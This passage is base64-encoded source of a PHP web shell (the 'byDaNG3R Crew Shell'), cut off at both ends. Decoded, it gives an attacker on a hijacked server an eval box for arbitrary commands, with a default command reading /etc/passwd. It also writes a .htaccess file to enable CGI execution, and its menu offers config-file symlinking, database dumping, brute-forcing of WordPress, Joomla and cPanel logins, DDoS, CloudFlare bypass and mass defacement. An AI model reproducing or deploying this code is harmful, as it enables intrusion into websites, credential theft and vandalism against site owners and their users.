OXlkVzF6TDFObGRIUnBibWR6TG5Cb2NDY3NKR3R2YkdFdUp5MGdjMjFtSUMwZ1ptOXlkVzF6TG5SNGRDY3BPeUFOQ2lCemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dmRYQnNiMkZrTDJsdVkyeDFaR1Z6TDJOdmJtWnBaeTV3YUhBbkxDUnJiMnhoTGljdElIVndiRzloWkNBdWRIaDBKeWs3RFFvZ2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wybHVZMnd2WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkwZ2JXRnNZWGt1ZEhoMEp5azdEUW9nYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJOdmJtWnBaeTlyYjI1bGEzTnBMbkJvY0Njc0pHdHZiR0V1SnkwZ2JHOXJiMjFsWkdsaExuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5emVYTjBaVzB2YzJsemRHVnRMbkJvY0Njc0pHdHZiR0V1SnkwZ2JHOXJiMjFsWkdsaExuUjRkQ2NwT3lBTkNpQjlEUXBwWmlBb0pFVk9WbnNuVWtWUlZVVlRWRjlOUlZSSVQwUW5mU0JsY1NBblVFOVRWQ2NwSUhzTkNpQWdjbVZoWkNoVFZFUkpUaXdnSkdKMVptWmxjaXdnSkVWT1Zuc25RMDlPVkVWT1ZGOU1SVTVIVkVnbmZTazdEUXA5SUdWc2MyVWdldzBLSUNBa1luVm1abVZ5SUQwZ0pFVk9WbnNuVVZWRlVsbGZVMVJTU1U1SEozMDdEUXA5RFFwQWNHRnBjbk1nUFNCemNHeHBkQ2d2Smk4c0lDUmlkV1ptWlhJcE93MEtabTl5WldGamFDQWtjR0ZwY2lBb1FIQmhhWEp6S1NCN0RRb2dJQ2drYm1GdFpTd2dKSFpoYkhWbEtTQTlJSE53YkdsMEtDODlMeXdnSkhCaGFYSXBPdzBLSUNBa2JtRnRaU0E5ZmlCMGNpOHJMeUF2T3cwS0lDQWtibUZ0WlNBOWZpQnpMeVVvVzJFdFprRXRSakF0T1YxYllTMW1RUzFHTUMwNVhTa3ZjR0ZqYXlnaVF5SXNJR2hsZUNna01Ta3BMMlZuT3cwS0lDQWtkbUZzZFdVZ1BYNGdkSEl2S3k4Z0x6c05DaUFnSkhaaGJIVmxJRDErSUhNdkpTaGJZUzFtUVMxR01DMDVYVnRoTFdaQkxVWXdMVGxkS1M5d1lXTnJLQ0pESWl3Z2FHVjRLQ1F4S1NrdlpXYzdEUW9nSUNSR1QxSk5leVJ1WVcxbGZTQTlJQ1IyWVd4MVpUc05DbjBOQ21sbUlDZ2tSazlTVFh0d1lYTnpmU0JsY1NBaUlpbDdEUXB3Y21sdWRDQW5EUW84WW05a2VTQmpiR0Z6Y3owaWJtVjNVM1I1YkdVeElqNE5Danh3UGladVluTndPend2Y0Q0TkNqeG1iM0p0SUcxbGRHaHZaRDBpY0c5emRDSStEUW84ZEdWNGRHRnlaV0VnYm1GdFpUMGljR0Z6Y3lJZ2MzUjViR1U5SW5kcFpIUm9PaUExTkROd2VEc2dhR1ZwWjJoME9pQTBNREJ3ZUNJK1BDOTBaWGgwWVhKbFlUNE5DanhpY2lBdlBqeGljaUF2UGcwS1BHbHVjSFYwSUc1aGJXVTlJblJoY2lJZ2RIbHdaVDBpZEdWNGRDSWdjM1I1YkdVOUluZHBaSFJvT2lBeU1USndlQ0lnTHo0OFluSWdMejQ4WW5JZ0x6NE5DanhwYm5CMWRDQnVZVzFsUFNKVGRXSnRhWFF4SWlCMGVYQmxQU0p6ZFdKdGFYUWlJSFpoYkhWbFBTSklZV3BoY2lBdUxpRWlJSE4wZVd4bFBTSjNhV1IwYURvZ09UbHdlQ0lnTHo0TkNqeGljaUF2UGcwS1BDOW1iM0p0UGljN0RRcDlaV3h6WlhzTkNrQnNhVzVsY3lBOVBDUkdUMUpOZTNCaGMzTjlQanNOQ2lSNUlEMGdRR3hwYm1Wek93MEtiM0JsYmlBb1RWbEdTVXhGTENBaVBuUmhjaTUwYlhBaUtUc05DbkJ5YVc1MElFMVpSa2xNUlNBaWRHRnlJQzFqZW1ZZ0lpNGtSazlTVFh0MFlYSjlMaUl1ZEdGeUlDSTdEUXBtYjNJZ0tDUnJZVDB3T3lScllUd2tlVHNrYTJFckt5bDdEUXAzYUdsc1pTaEFiR2x1WlhOYkpHdGhYU0FnUFg0Z2JTOG9MaW8vS1RwNE9pOW5LWHNOQ2lac2FXd29KREVwT3cwS2NISnBiblFnVFZsR1NVeEZJQ1F4TGlJdWRIaDBJQ0k3RFFwbWIzSW9KR3RrUFRFN0pHdGtQREU0T3lSclpDc3JLWHNOQ25CeWFXNTBJRTFaUmtsTVJTQWtNUzRrYTJRdUlpNTBlSFFnSWpzTkNuME5DbjBOQ2lCOURRcHdjbWx1ZENjOFltOWtlU0JqYkdGemN6MGlibVYzVTNSNWJHVXhJajROQ2p4d1BrUnZibVVnSVNFOEwzQStEUW84Y0Q0bWJtSnpjRHM4TDNBK0p6c05DbWxtS0NSR1QxSk5lM1JoY24wZ2JtVWdJaUlwZXcwS2IzQmxiaWhKVGtaUExDQWlkR0Z5TG5SdGNDSXBPdzBLUUd4cGJtVnpJRDA4U1U1R1R6NGdPdzBLWTJ4dmMyVW9TVTVHVHlrN0RRcHplWE4wWlcwb1FHeHBibVZ6S1RzTkNuQnlhVzUwSnp4d1BqeGhJR2h5WldZOUlpY3VKRVpQVWsxN2RHRnlmUzRuTG5SaGNpSStJR1J2ZDI1c2IyRmtJQ0JtYVd4bFBDOWhQand2Y0Q0bk93MEtmUTBLZlEwS0lIQnlhVzUwSWcwS1BDOWliMlI1UGcwS1BDOW9kRzFzUGlJNyc7IA0KPz4NCjxodG1sPjxoZWFkPjxsaW5rIHJlbD0iU0hPUlRDVVQgSUNPTiIgaHJlZj0iaHR0cDovL2kuaGl6bGlyZXNpbS5jb20vR25FZ3BOLmpwZyI+PHRpdGxlPiBieURhTkczUiBDcmV3IFNoZWxsIDwvdGl0bGU+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpmdW5jdGlvbiB0dWthcihsYW1hLGJhcnUpew0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGxhbWEpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoYmFydSkuc3R5bGUuZGlzcGxheSA9ICdibG9jayc7DQp9DQo8L3NjcmlwdD4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5ew0KCWJhY2tncm91bmQ6IzAwMDAwMDs7DQp9DQphIHsNCnRleHQtZGVjb3JhdGlvbjpub25lOw0KfQ0KYTpob3ZlcnsNCmJvcmRlci1ib3R0b206MXB4IHNvbGlkICNGRjAwMDA7DQp9DQoqew0KCWZvbnQtc2l6ZToxMXB4Ow0KCWZvbnQtZmFtaWx5OlRhaG9tYSxWZXJkYW5hLEFyaWFsOw0KCWNvbG9yOiNGRkZGRkY7DQp9DQojbWVudXsNCgliYWNrZ3JvdW5kOiM2YTA3MDc7DQoJbWFyZ2luOjhweCAycHggNHB4IDJweDsNCn0NCiNtZW51IGF7DQoJcGFkZGluZzo0cHggMThweDsNCgltYXJnaW46MDsNCgliYWNrZ3JvdW5kOiNjNDA5MDk7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJbGV0dGVyLXNwYWNpbmc6MnB4Ow0KCS1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDVweDsgLWtodG1sLWJvcmRlci1yYWRpdXM6IDVweDsgYm9yZGVyLXJhZGl1czogNXB4Ow0KfQ0KI21lbnUgYTpob3ZlcnsNCgliYWNrZ3JvdW5kOiM2YTA3MDc7DQoJYm9yZGVyLWJvdHRvbToxcHggc29saWQgI2M0MDkwOTsNCglib3JkZXItdG9wOjFweCBzb2xpZCAjYzQwOTA5Ow0KfQ0KLnRhYm5ldHsNCgltYXJnaW46MTVweCBhdXRvIDAgYXV0bzsNCglib3JkZXI6IDFweCBzb2xpZCAjYzQwOTA5Ow0KfQ0KLm1haW4gew0KCXdpZHRoOjEwMCU7DQp9DQouZ2F5YSB7DQoJY29sb3I6ICNGRjAwMDA7DQp9DQouaW5wdXR6ew0KCWJhY2tncm91bmQ6IzZhMDcwNzsNCglib3JkZXI6MDsNCglwYWRkaW5nOjJweDsNCglib3JkZXItYm90dG9tOjFweCBzb2xpZCAjYzQwOTA5Ow0KCWJvcmRlci10b3A6MXB4IHNvbGlkICNjNDA5MDk7DQp9DQouaW5wdXR6YnV0ew0KCWJhY2tncm91bmQ6IzZhMDcwNzsNCgljb2xvcjojRkYwMDAwOw0KCW1hcmdpbjowIDRweDsNCglib3JkZXI6MXB4IHNvbGlkICM0NDQ0NDQ7DQoNCn0NCi5pbnB1dHo6aG92ZXIsIC5pbnB1dHpidXQ6aG92ZXJ7DQoJYm9yZGVyLWJvdHRvbToxcHggc29saWQgI0ZGMDAwMDsNCglib3JkZXItdG9wOjFweCBzb2xpZCAjRkYwMDAwOw0KfQ0KLm91dHB1dCB7DQoJbWFyZ2luOmF1dG87DQoJYm9yZGVyOjFweCBzb2xpZCAjRkYwMDAwOw0KCXdpZHRoOjEwMCU7DQoJaGVpZ2h0OjQwMHB4Ow0KCWJhY2tncm91bmQ6IzAwMDAwMDsNCglwYWRkaW5nOjAgMnB4Ow0KfQ0KLmNtZGJveHsNCgl3aWR0aDoxMDAlOw0KfQ0KLmhlYWRfaW5mb3sNCglwYWRkaW5nOiAwIDRweDsNCn0NCi5qYXlheyBmb250LWZhbWlseTogO30NCg0KLmIzNzRrew0KCWZvbnQtc2l6ZTozMHB4Ow0KCXBhZGRpbmc6MDsNCgljb2xvcjojNDQ0NDQ0Ow0KfQ0KLmIzNzRrX3RibHsNCgl0ZXh0LWFsaWduOmNlbnRlcjsNCgltYXJnaW46MCA0cHggMCAwOw0KCXBhZGRpbmc6MCA0cHggMCAwOw0KCWJvcmRlci1yaWdodDoxcHggc29saWQgI2M0MDkwOTsNCn0NCi5waHBpbmZvIHRhYmxlew0KCXdpZHRoOjEwMCU7DQoJcGFkZGluZzowIDAgMCAwOw0KfQ0KLnBocGluZm8gdGR7DQoJYmFja2dyb3VuZDojNmEwNzA3Ow0KCWNvbG9yOiNjY2NjY2M7DQpwYWRkaW5nOjZweCA4cHg7Ow0KfQ0KLnBocGluZm8gdGgsIHRoew0KCWJhY2tncm91bmQ6IzZhMDcwNzsNCglib3JkZXItYm90dG9tOjFweCBzb2xpZCAjYzQwOTA5Ow0KZm9udC13ZWlnaHQ6bm9ybWFsOw0KfQ0KLnBocGluZm8gaDIsIC5waHBpbmZvIGgyIGF7DQoJdGV4dC1hbGlnbjpjZW50ZXI7DQoJZm9udC1zaXplOjE2cHg7DQoJcGFkZGluZzowOw0KCW1hcmdpbjozMHB4IDAgMCAwOw0KCWJhY2tncm91bmQ6I2M0MDkwOTsNCglwYWRkaW5nOjRweCAwOw0KfQ0KLmV4cGxvcmV7DQp3aWR0aDoxMDAlOw0KfQ0KLmV4cGxvcmUgYSB7DQp0ZXh0LWRlY29yYXRpb246bm9uZTsNCn0NCi5leHBsb3JlIHRkew0KYm9yZGVyLWJvdHRvbToxcHggc29saWQgI2M0MDkwOTsNCnBhZGRpbmc6MCA4cHg7DQpsaW5lLWhlaWdodDoyNHB4Ow0KfQ0KLmV4cGxvcmUgdGh7DQpwYWRkaW5nOjNweCA4cHg7DQpmb250LXdlaWdodDpub3JtYWw7DQp9DQouZXhwbG9yZSB0aDpob3ZlciAsIC5waHBpbmZvIHRoOmhvdmVyew0KYm9yZGVyLWJvdHRvbToxcHggc29saWQgI0ZGMDAwMDsNCn0NCi5leHBsb3JlIHRyOmhvdmVyew0KYmFja2dyb3VuZDojNmEwNzA3Ow0KfQ0KLnZpZXdmaWxlew0KYmFja2dyb3VuZDojRURFQ0VCOw0KY29sb3I6IzAwMDAwMDsNCm1hcmdpbjo0cHggMnB4Ow0KcGFkZGluZzo4cHg7DQp9DQouc2VtYnVueWl7DQpkaXNwbGF5Om5vbmU7DQpwYWRkaW5nOjA7bWFyZ2luOjA7DQp9DQoNCjwvc3R5bGU+PC9oZWFkPg0KDQoNCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NtZCcpLmZvY3VzKCk7Ij4NCjxkaXYgY2xhc3M9Im1haW4iPg0KPCEtLSBoZWFkIGluZm8gc3RhcnQgaGVyZSAtLT4NCjxkaXYgY2xhc3M9ImhlYWRfaW5mbyI+DQo8dGFibGUgPjx0cj4NCjx0ZD48dGFibGUgY2xhc3M9ImIzNzRrX3RibCI+PHRyPjx0ZD48YSBocmVmPSI/Ij48c3BhbiBjbGFzcz0iYjM3NGsiPjxpbWcgc3JjPSJodHRwOi8vaS5oaXpsaXJlc2ltLmNvbS9HbkVncE4uanBnIiAvPjwvc3Bhbj48L2E+PC90ZD48L3RyPjx0cj48dGQ+PGI+PC9iPjwvdGQ+PC90cj48L3RhYmxlPjwvdGQ+DQo8dGQ+PD9waHAgZWNobyAkYnVmZjsgPz48L3RkPg0KPC90cj48L3RhYmxlPg0KPC9kaXY+DQo8IS0tIGhlYWQgaW5mbyBlbmQgaGVyZSAtLT4NCjwhLS0gbWVudSBzdGFydCAtLT4NCjxjZW50ZXI+PGRpdiBpZD0ibWVudSI+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+Ij48aW1nIHNyYz0nZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBQUFYTlNSMElBcnM0YzZRQUFBQVppUzBkRUFQOEEvd0Qvb0wybmt3QUFBQWx3U0ZsekFBQU4xZ0FBRGRZQmtHOTVuQUFBQUFkMFNVMUZCOW9KQnhRMkdSbnUvVGdBQUFKelNVUkJWRGpMdFpMUFN4dEJITVhmNXNlbVpEZlM3S3BJYVd6UlNob0ZENVVLOWg2YWk1ZUNQZlprd1lKNGtGNTY2YTMwSDBnRjI0QlVxRGRqQlQxVkNGSXNOQlVXRXcraGEyb2JwREdVWEdSMVo3S1orZmJRUmt5MXZmVUxBelBENC9NZU13LzRIN082dWdvQXNHMTd0Rnd1SndGZ2QzZjNRcTN5TjBnK243K3I2L29LZ0V0UU1EV1lHSHg1a2M1MzlyQzR1QWdBMkh5L09hR3E2b3BsV2FWY0xtZHh4bDlZbHZVRUFMYTJ0djZkWUdQalhTb1M2Y2hXS3BXS2FacGRvVkJJTDVWSyswTkRRLzFFTkQwMk5qWi9Mc0hjM0J3QVlHMXRiU0lZVkxPRlF1R3pwbWxkZ1VEQWtGS3F2YjI5MTdhM3QyM0dXRHFYeXowQmdQWDE5ZllFeTh2TEtWM1hzd2NIQnhYRE1Mb2lrWWdocGFSVzBrYWp3ZmJLNVc4MzQvRitBTk9wVkdyK0ZMQzB0SFJmMC9UWCsvdGY3SjZlbml1YXBwa0E2SXdCdFNDMmJYOU5KQklEUlBUMDVPVGt1VEwxYUtwajlQYm94MXF0ZG1nWXhsWFRORzhRRVYzd1BnUkFjVjIzYmxsV2ZtUmtaTmgxM1Z1S3BtbkJ2cjYrTzFMSzJzek16TnR3T0J4dmlZVVFVQlFGUHArdkJZQ1U4akNUeWFTT2o0OHZBL2h3NmpJK1BoNUpKcE9md3VGd25JakFHS3N2TEN3OGN4eEhURTQrZkd3WTBSZ1JnWWkrTzQ0elBEczdXMi9yZ2V1NkNtTU1qREZ3emlHRStKRklKRjVWcTlWTXMra2RjczdCT1FkakRFZEhSNmZHZ2RaR0NBSE9PZngrUDRnSVFnZ1pqVWFwczlPa1JxTkJqREhRcjFFOHo4TTVRTFZhaGVNNFRaL2ZCeERRYkRaVnovTWdKWUZ6SGxSVkZVUlFtczJHcU5mcjRxSW0rbU94MkwzdTd1NWhLU1ZDSVhWUFN2R21zRk5VQnVMeEI4RkE0RG9BZUo2M1V5d1dzd0JrMngrbDAra1cwUDk3S1g4MHRuWGZOajhCNU5FNURPTVYyVDBBQUFBQVNVVk9SSzVDWUlJPScgaGVpZ2h0PSIxOCIgd2lkdGg9IjM0Ij48L2E+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PXNoZWxsIj5TaGVsbDwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9cGhwIj5FdmFsPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1zcWwiPk15c3FsPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1kdW1wIj5EYXRhYmFzZSBEdW1wPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1waHBpbmZvIj5QaHAgSW5mbzwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9bmV0c3Bsb2l0Ij5OZXQgU3Bsb2l0PC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD11cGxvYWQiPlVwbG9hZDwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9bWFpbCI+RS1NYWlsPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1zcWxpLXNjYW5uZXIiPlNRTEkgU2NhbjwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9cG9ydC1zYyI+UG9ydCBTY2FuPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1kb3MiPkREb3M8L2E+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PXRvb2wiPlRvb2xzPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1weXRob24iPnB5dGhvbjwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9c3ltbGluayI+U3ltbGluazwvYT48YnI+PGJyPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1jb25maWciPkNvbmZpZzwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9YnlwYXNzIj5CeXBhc3M8L2E+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PWNnaSI+Q2dpU2hlbGw8L2E+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PWNnaTIwMTIiPkNHSSBUZWxuZXQgMjAxMjwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9ZG9tYWluIj5Eb21haW48L2E+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PWpvZGV4ZXIiPkpvb21sYSBJbmRDaGFuZ2U8L2E+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PXZiIj5WQiBJbmRDaGFuZ2U8L2E+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PXdwLXJlc2V0Ij5Xb3JkcHJlc3MgUmVzUGFzczwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9am0tcmVzZXQiPkpvb21sYSBSZXNQYXNzPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD13aG1jcyI+V0hNQ1MgRGVjb2RlcjwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9em9uZSI+Wm9uZS1IPC9hPjxicj48YnI+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PW1hc3MiPk1hc3MgRGVmYWNlPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD13cGJydXRlIj5Xb3JkcHJlc3MgQnJ1dGVGb3JjZTwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9amJydXRlIj5Kb29tbGEgQnJ1dGVGb3JjZTwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9YnJ1dGUiPkNwYW5lbCBCcnV0ZUZvcmNlPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1ieXBhc3MtY2YiPkJ5cGFzcyBDbG91ZEZsYXJlPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1hZGZpbiI+QWRtaW4gRmluZGVyPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1oYXNoIj5QYXNzd29yZCBIYXNoPC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD1oYXNoaWQiPkhhc2ggSUQ8L2E+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PXN0cmluZyI+U2NyaXB0IEVuY29kZTwvYT48YnI+PGJyPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOyA/PiZhbXA7eD13aG9pcyI+V2Vic2l0ZSBXaG9pczwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9anNzIj5Kb29tbGEgU2VydmVyIFNjYW5uZXI8L2E+DQo8YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7ID8+JmFtcDt4PWNtc19kZXRlY3QiPkNtcyBEZXRlY3RvcjwvYT4NCjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDsgPz4mYW1wO3g9YWJvdXQiPkFib3V0PC9hPg0KPGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOwk/PiZhbXA7eD1sb2dvdXQiPkxvZy1PdXQ8L2E+DQoNCg0KPC9kaXY+PC9jZW50ZXI+DQo8IS0tIG1lbnUgZW5kIC0tPg0KDQo8P3BocA0KQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7DQppZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAncGhwJykpeyA/Pg0KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PXBocCIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBjbGFzcz0iY21kYm94Ij4NCjx0cj48dGQ+DQo8dGV4dGFyZWEgY2xhc3M9Im91dHB1dCIgbmFtZT0iY21kIiBpZD0iY21kIj4NCjw/cGhwDQppZihpc3NldCgkX1BPU1RbJ3N1Ym1pdGNtZCddKSkgew0KCWVjaG8gZXZhbChtYWdpY2Jvb20oJF9QT1NUWydjbWQnXSkpOw0KfQ0KZWxzZSBlY2hvICJlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL3Bhc3N3ZCcpOyI7DQo/Pg0KPC90ZXh0YXJlYT4NCjx0cj48dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDoxOSU7IiBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyAhIiBuYW1lPSJzdWJtaXRjbWQiIC8+PC90ZD48L3RyPjwvZm9ybT4NCjwvdGFibGU+DQo8L2Zvcm0+DQoNCjw/cGhwIH0gDQoNCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc3FsJykpDQogICAgew0KICAgID8+DQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9c3FsIiBtZXRob2Q9InBvc3QiPg0KPD9waHANCmVjaG8gIjxjZW50ZXIvPjxici8+PGI+PGZvbnQgY29sb3I9I0ZGMDAwMD4rLS09PVsgTXlzcWwgSW50ZXJmYWNlIF09PS0tKzwvZm9udD48L2I+PGJyPjxicj4iOw0KICBta2RpcignbXlzcWwnLCAwNzU1KTsNCiAgICBjaGRpcignbXlzcWwnKTsNCiAgICAgICAgJGFrc2VzID0gIi5odGFjY2VzcyI7DQogICAgICAgICRidWthX2xhaCA9ICIkYWtzZXMiOw0KICAgICAgICAkYnVrYSA9IGZvcGVuICgkYnVrYV9sYWggLCAndycpIG9yIGRpZSAoIkVycm9yIGN1eXkhIik7DQogICAgICAgICRtZXRpbiA9ICJPcHRpb25zIEZvbGxvd1N5bUxpbmtzIE11bHRpVmlld3MgSW5kZXhlcyBFeGVjQ0dJDQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwIC5jcGMNCiI7ICAgIA0KICAgICAgICBmd3JpdGUgKCAkYnVrYSAsICRtZXRpbiApIDsNCiAgICAgICAgZmNsb3NlICgkYnVrYSk7DQokc3Fsc2hlbGwgPSAnUEQ4TkNpUlFRVk5UVjA5U1JDQTlJQ0p5YjI5MFgzaG9ZV2hoZUNJN0RRb2tWVk5GVWs1QlRVVWdQU0FpZUdoaGFHRjRJanNOQ21sbUlDZ2dablZ1WTNScGIyNWZaWGhwYzNSektDZHBibWxmWjJWMEp5a2dLU0I3RFFvSkpHOXViMlptSUQwZ2FXNXBYMmRsZENnbmNtVm5hWE4wWlhKZloyeHZZbUZzY3ljcE93MEtmU0JsYkhObElIc05DZ2trYjI1dlptWWdQU0JuWlhSZlkyWm5YM1poY2lnbmNtVm5hWE4wWlhKZloyeHZZbUZzY3ljcE93MEtmUTBLYVdZZ0tDUnZibTltWmlBaFBTQXhLU0I3RFFvSlFHVjRkSEpoWTNRb0pFaFVWRkJmVTBWU1ZrVlNYMVpCVWxNc0lFVllWRkpmVTB0SlVDazdEUW9KUUdWNGRISmhZM1FvSkVoVVZGQmZRMDlQUzBsRlgxWkJVbE1zSUVWWVZGSmZVMHRKVUNrN0RRb0pRR1Y0ZEhKaFkzUW9KRWhVVkZCZlVFOVRWRjlHU1V4RlV5d2dSVmhVVWw5VFMwbFFLVHNOQ2dsQVpYaDBjbUZqZENna1NGUlVVRjlRVDFOVVgxWkJVbE1zSUVWWVZGSmZVMHRKVUNrN0RRb0pRR1Y0ZEhKaFkzUW9KRWhVVkZCZlIwVlVYMVpCVWxNc0lFVllWRkpmVTB0SlVDazdEUW9KUUdWNGRISmhZM1FvSkVoVVZGQmZSVTVXWDFaQlVsTXNJRVZZVkZKZlUwdEpVQ2s3RFFwOURRb05DbVoxYm1OMGFXOXVJR3h2WjI5dUtDa2dldzBLQ1dkc2IySmhiQ0FrVUVoUVgxTkZURVk3RFFvSmMyVjBZMjl2YTJsbEtDQWliWGx6Y1d4ZmQyVmlYMkZrYldsdVgzVnpaWEp1WVcxbElpQXBPdzBLQ1hObGRHTnZiMnRwWlNnZ0ltMTVjM0ZzWDNkbFlsOWhaRzFwYmw5d1lYTnpkMjl5WkNJZ0tUc05DZ2x6WlhSamIyOXJhV1VvSUNKdGVYTnhiRjkzWldKZllXUnRhVzVmYUc5emRHNWhiV1VpSUNrN0RRb0paV05vYnlBaVBIUmhZbXhsSUhkcFpIUm9QVEV3TUNVZ2FHVnBaMmgwUFRFd01DVStQSFJ5UGp4MFpENDhZMlZ1ZEdWeVBseHVJanNOQ2dsbFkyaHZJQ0k4ZEdGaWJHVWdZMlZzYkhCaFpHUnBibWM5TWo0OGRISStQSFJrUGp4alpXNTBaWEkrWEc0aU93MEtDV1ZqYUc4Z0lqeDBZV0pzWlNCalpXeHNjR0ZrWkdsdVp6MHlNRDQ4ZEhJK1BIUmtQanhqWlc1MFpYSStYRzRpT3cwS0NXVmphRzhnSWp4b01UNU5lVk5SVENCSmJuUmxjbVpoWTJVZ1Fua2dVelJOVURSSVBDOW9NVDVjYmlJN0RRb0paV05vYnlBaVBHWnZjbTBnWVdOMGFXOXVQU2NrVUVoUVgxTkZURVluUGx4dUlqc05DZ2xsWTJodklDSThhVzV3ZFhRZ2RIbHdaVDFvYVdSa1pXNGdibUZ0WlQxaFkzUnBiMjRnZG1Gc2RXVTlZa2M1Ym1JeU5XWmpNMVpwWWxkc01ENWNiaUk3RFFvSlpXTm9ieUFpUEhSaFlteGxJR05sYkd4d1lXUmthVzVuUFRVZ1kyVnNiSE53WVdOcGJtYzlNVDVjYmlJN0RRb0paV05vYnlBaVBIUnlQangwWkNCamJHRnpjejFjSW01bGQxd2lQa2h2YzNSdVlXMWxJRHd2ZEdRK1BI